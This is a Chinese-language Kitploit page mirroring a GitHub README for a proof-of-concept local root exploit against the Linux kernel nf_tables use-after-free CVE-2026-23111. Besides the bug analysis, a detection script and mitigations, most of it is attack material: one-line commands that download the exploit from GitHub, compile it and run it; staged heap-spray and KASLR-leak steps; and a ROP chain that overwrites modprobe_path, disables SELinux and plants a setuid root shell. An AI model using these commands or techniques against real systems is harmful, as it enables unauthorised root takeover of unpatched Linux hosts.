Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23111 — Linux 内核 nf_tables 释放后使用(CVE-2026-23111)——本地权限提升 PoC | Kitploit
工具/GitHubGitHub/baba01hacker666/cve-2026-23111
权限提升内存取证漏洞分析漏洞利用逆向工程论文与研究学习与教育二进制利用
GitHubbaba01hacker666/cve-2026-23111

CVE-2026-23111

Linux 内核 nf_tables 释放后使用(CVE-2026-23111)——本地权限提升 PoC

查看仓库
722个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-23111 PoC

Linux内核nf_tables释放后使用(本地权限提升) poc作者:baba01hacker

漏洞概要

  • CVE:CVE-2026-23111
  • 类型:释放后使用(CWE-416)
  • CVSS:7.8(高)
  • 组件:net/netfilter/nf_tables_api.c — nft_map_catchall_activate()
  • 根因:genmask检查逻辑取反,导致事务回滚时链引用计数器泄漏

受影响的内核版本

版本范围修复版本
6.19-rc1 至 6.19-rc86.19-rc9+
6.13 至 6.18.96.18.10
6.7 至 6.12.696.12.70
6.4.1 至 6.5.x已EOL(无稳定修复)
6.3.10 至 6.3.x已EOL
6.0.x, 6.2.x已EOL
6.1.36 至 6.1.1626.1.163
5.15.121 至 5.15.1995.15.200
5.10.188+, 5.4.262+, 4.19.316+各LTS版本

漏洞细节

CVE-2026-23111是一个nf_tables释放后使用漏洞,由nft_map_catchall_activate()中generation-mask检查逻辑取反引起。在失败事务的回滚过程中,那些被NFT_MSG_DELSET停用的catchall判决映射元素必须重新激活,以便恢复诸如NFT_GOTO链引用等资源。而catchall激活路径却跳过了非活动元素,处理了活动元素,导致已停用的catchall元素未被恢复。

正确的非catchall激活逻辑是:

root@kitploit:~
if (nft_set_elem_active(ext, iter->genmask))
    return 0; /* 跳过活动元素,处理非活动元素 */

存在漏洞的catchall路径使用了相反的条件:

root@kitploit:~
if (!nft_set_elem_active(ext, genmask))
    continue; /* 跳过非活动元素,处理活动元素 */

当已删除的pipapo判决映射回滚时,这阻止了nft_setelem_data_activate()对非活动catchall元素的执行。对于NFT_JUMP/NFT_GOTO判决数据,由nft_data_hold()获取的链引用因此无法恢复。重复执行中止/切换/删除序列可以将chain->use降至零,而另一条规则仍持有对该链的有效判决引用。随后执行DELCHAIN可在链仍可达时将其释放,造成释放后使用。

触发流程

root@kitploit:~
创建表、基础链、受害链和带有catchall NFT_GOTO -> victim的pipapo判决映射
        |
批次1:删除pipapo集合,然后强制引发事务错误
        |
中止路径调用nft_map_catchall_activate(),但取反的检查跳过了非活动的catchall
        |
该catchall保持非活动状态,受害链引用计数未恢复
        |
批次2:提交一个良性事务以切换generation游标
        |
批次3:成功删除pipapo集合,再次减少受害链引用
        |
批次4:删除受害链,但基础链的判决仍引用它
        |
随后的数据包评估或规则转储跟随悬空判决引用时发生释放后使用

上游修复是移除取反操作,使nft_map_catchall_activate()与nft_mapelem_activate()一致:跳过活动元素,重新激活非活动元素,并在中止处理期间恢复判决/对象引用。

仅测试

root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed
python3 CVE-2026-23111-checker.py --json

运行PoC一行命令

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_full.c && gcc -Wall -O2 -o exploit_full exploit_full.c -lnftnl -lmnl && ./exploit_full -d

v2备用一行命令

如果完整版/v1 PoC在目标内核上失败,请使用此命令。

root@kitploit:~
wget https://raw.githubusercontent.com/Baba01hacker666/CVE-2026-23111/refs/heads/master/exploit_v2.c && gcc -Wall -O2 -o exploit_v2 exploit_v2.c -lnftnl -lmnl && ./exploit_v2 -d

本地构建

如果编译器找不到libmnl/libmnl.h或libnftnl头文件,请先安装构建依赖项:

root@kitploit:~
scripts/install-build-deps.sh
# 或
make deps
root@kitploit:~
make          # 构建漏洞利用程序(仅PoC)
make v2       # 构建v2漏洞利用程序(FuzzingLabs方法 —— v1失败时尝试)
make full     # 构建完整LPE漏洞利用程序
make v3       # 构建v3校准评估路径变体
make run-d    # 运行PoC(带调试输出)
make run-v2-d # 运行v2(带调试输出)
make run-v3   # 显示v3用法/帮助
make run-full # 运行完整LPE

漏洞利用阶段

阶段1:UAF触发 ✅ 正常工作

创建一个pipapo映射集合,其中包含一个catchall元素(goto受害链),然后利用DELSET中止期间的取反genmask漏洞破坏chain->use。在推进generation计数器后,尽管存在悬空引用,DELCHAIN仍会成功执行,从而释放该链。

阶段2:KASLR泄漏 ✅ 正常工作

UAF之后,chain->name内存被释放。我们通过打开/proc/self/stat喷洒seq_operations结构(32字节)以回收释放的slab缓存槽位。通过NFT_MSG_GETRULE读取回基础链的立即判决规则,转储被回收的链名称,从而泄漏内核函数指针。指针验证确保只接受规范的内核文本地址。

阶段3:堆地址泄漏 ✅ 正常工作

使用更长的链名称(140字节 → kmalloc-cg-192)重新触发UAF,然后喷洒nft_rule对象以回收该内存。泄漏的list_head指针揭示了直接映射区域中的堆地址。

阶段4:控制流劫持与ROP 🔧 框架完成

  • 喷洒两个192字节的规则,其中包含受控数据,用于伪造nft_expr_ops和nft_rule_blob
  • 使用阶段3获得的堆地址链接伪造的blob → 伪造的expr_ops指针
  • 喷洒128字节的表userdata覆盖已释放链的blob_gen_0
  • ROP链:commit_creds(&init_cred) → switch_task_namespaces → swapgs; iretq
  • ROP gadgets从/proc/kcore自动扫描
  • 通过基础链发送触发数据包,调用被劫持的expr->ops->eval

v2漏洞利用程序(FuzzingLabs方法)

v2漏洞利用程序(exploit_v2.c)使用FuzzingLabs文章中描述的技术,可在v1 PoC失败时使用。主要区别:

v2泄漏链(init_ipc_ns任意读)

root@kitploit:~
init_ipc_ns + 0x118  →  msg_ids.xa_head  →  msg_queue(标记指针)
msg_queue + 0xc0     →  q_messages.next  →  msg_msg堆地址

每一步都使用已释放的链结构作为任意读原语: 表userdata(128字节)在kmalloc-cg-128中回收已释放的nft_chain, 内核在SET_B元素转储期间解引用放置在偏移量0x40(即chain->name所在位置)处的内核地址。

v3堆校准与ROP链(modprobe_path)

v3堆阶段是基于偏移预测的,而不是真正的二进制安全任意读(通过eval)原语。在运行最终喷洒之前校准目标:

root@kitploit:~
grep msg_msg /proc/slabinfo
# 与kmalloc-cg-2048对象密度交叉引用,然后运行:
./exploit_v3 --msg-msg-addr 0xffff...
# 或者,当该值相对于泄漏的内核基址已知时:
./exploit_v3 --msg-msg-delta 0x...

根据精确的内核构建验证nftables结构偏移量:

root@kitploit:~
pahole -E -C nft_chain /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_blob /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_rule_dp /usr/lib/debug/boot/vmlinux-$(uname -r)
pahole -E -C nft_expr_ops /usr/lib/debug/boot/vmlinux-$(uname -r)

Gadget扫描使用/proc/kcore;如果被限制,则离线从vmlinux中提取gadgets并相对于泄漏的内核基址硬编码地址。v3数据包评估路径使用push rdi; pop rsp,因为rdi = expr;这与v2验证路径不同(v2中rsi = expr)。

root@kitploit:~
push rdi; pop rsp; pop rbp; ret           ← 栈转移(rdi = expr)
pop rdi; ret → &modprobe_path              \
pop rax; ret → "/tmp/pe\0"                 │ 写入modprobe_path
mov [rdi], rax; ret                        /
pop rdi; ret → &selinux_state             \
xor eax, eax; ret                          │ 禁用SELinux
mov [rdi], eax; ret                        /
pop rdi; ret → 10000                       \
msleep                                      │ 保持内核存活

当内核在遇到未知二进制格式后调用modprobe_path时,/tmp/pe脚本以root身份运行。它在/tmp/rootbash处创建一个setuid root shell。

何时使用v2 vs v1

  • v1在KASLR泄漏上失败:v2使用NFT_MSG_GETELEM(不同的内核代码路径)而非NFT_MSG_GETRULE
  • v1在堆泄漏上失败:v2使用init_ipc_ns全局变量遍历内核数据结构,而非喷洒nft_rule对象
  • v1在劫持上失败:v2使用msg_msg-2k(大而稳定的缓冲区)而非nft_rules + 表userdata作为ROP负载
  • v1在权限提升上失败:v2使用modprobe_path(无需swapgs/iretq)而非commit_creds + 命名空间切换
  • 内核启用了SLAB_RANDOM/加固:v2的init_ipc_ns链针对稳定的全局变量,使堆布局不那么关键

技术细节

漏洞

在nft_map_catchall_activate()(net/netfilter/nf_tables_api.c)中:

root@kitploit:~
list_for_each_entry(catchall, &set->catchall_list, list) {
    ext = nft_set_elem_ext(set, catchall->elem);
    if (!nft_set_elem_active(ext, genmask))  // 缺陷:应该不带 '!'
        continue;
    nft_clear(ctx->net, ext);
    nft_setelem_data_activate(ctx->net, set, catchall->elem);
    break;
}

!导致函数跳过非活动元素而非处理它们。在事务回滚期间,catchall元素(刚刚被DELSET停用)被跳过,因此nft_data_hold()从未被调用以恢复链引用计数器。

漏洞利用机制

  1. 创建带有catchall元素的pipapo映射集合 → goto受害链
  2. 批次A:DELSET + 无效操作 → 中止 → chain->use保持为0
  3. 批次B:有效事务 → 推进genid
  4. 批次C:DELSET → 成功
  5. 批次D:DELCHAIN → 链被释放(chain->use == 0,但存在悬空引用)
  6. 集合的catchall元素仍引用已释放的链名称 → 喷洒 + 回读

文件

root@kitploit:~
├── CVE-2026-23111-checker.py   漏洞检测脚本(--detailed, --json)
├── exploit.c                   PoC漏洞利用程序(UAF + KASLR泄漏 + 堆泄漏)
├── exploit_v2.c                v2漏洞利用程序(FuzzingLabs方法 —— v1失败时尝试)
├── exploit_full.c              完整LPE漏洞利用程序(UAF + 泄漏 + ROP链)
├── exploit_full_aarch64        预构建的aarch64二进制文件(静态)
├── exploit_full.b64            经Base64编码的完整漏洞利用程序二进制文件
├── Makefile                    构建配置
└── README.md                   本文件

构建依赖

root@kitploit:~
apt-get install -y libmnl-dev libnftnl-dev gcc make python3

交叉编译(aarch64)

root@kitploit:~
apt-get install -y gcc-aarch64-linux-gnu
make aarch64

调试构建(带AddressSanitizer)

root@kitploit:~
make debug          # PoC with ASan
make debug-full     # Full exploit with ASan

检测脚本

检测脚本执行多种检测方法:

  • 版本匹配:检查内核版本是否属于所有已知的受影响范围(包括rc内核)
  • 模块检测:检查nf_tables内核模块是否已加载
  • 内核配置:从/proc/config.gz或/boot/config-*读取CONFIG_NF_TABLES
  • 符号检查:在/proc/kallsyms中查找nft_map_catchall_activate
  • 命名空间设置:检查kernel.unprivileged_userns_clone sysctl
  • 风险评分:将所有指标组合成0-6的风险评分
root@kitploit:~
python3 CVE-2026-23111-checker.py --detailed   # 人类可读格式,含缓解措施
python3 CVE-2026-23111-checker.py --json        # 机器可读的JSON格式

故障排除

参考资料

  • FuzzingLabs - 复现CVE-2026-23111
  • Exodus Intel博客 - 详细分析
  • NVD条目
  • 内核补丁1
  • 内核补丁2

缓解措施

  1. 将内核更新到已修补版本(6.18.10+, 6.12.70+, 6.6.124+ 等)
  2. 禁用非特权用户命名空间:sysctl kernel.unprivileged_userns_clone=0
  3. 如果不需要,将nf_tables模块加入黑名单:
    root@kitploit:~
    echo 'install nf_tables /bin/true' >> /etc/modprobe.d/nf_tables.conf
    
下载工具
组件v1 (exploit.c)v2 (exploit_v2.c)
UAF触发单个集合 + 立即goto规则两个集合(FuzzingLabs风格)+ 查找规则
KASLR回读NFT_MSG_GETRULE(规则转储)NFT_MSG_GETELEM(元素转储)+ GETRULE备用
堆泄漏nft_rule喷洒 + list_head泄漏init_ipc_ns任意读链
ROP宿主nft_rules + 表userdatamsg_msg-2k(2048字节消息)
劫持触发立即goto上的数据包评估幸存集合catchall上的数据包评估
权限提升commit_creds + switch_task_namespacesmodprobe_path覆盖 + 禁用SELinux
返回路径swapgs; iretqmsleep()(停留在内核态)
问题解决方案
mnl_socket_open: No such file or directory确保已加载nf_tables模块:modprobe nf_tables
unshare: Operation not permitted需要非特权用户命名空间。检查kernel.unprivileged_userns_clone=1
Batch A did NOT abort内核可能已被修补,或genmask行为不同
No kernel pointer leaked可能启用了KASLR或SLAB_RANDOM;尝试多次运行
No heap pointer found堆喷洒碰撞率是概率性的;重试或增加喷洒数量
编译错误:nf_tables.h: No such file安装内核头文件:apt install linux-headers-$(uname -r)
链接错误:对mnl_*的未定义引用链接顺序很重要:-lnftnl -lmnl(nftnl在前,mnl在后)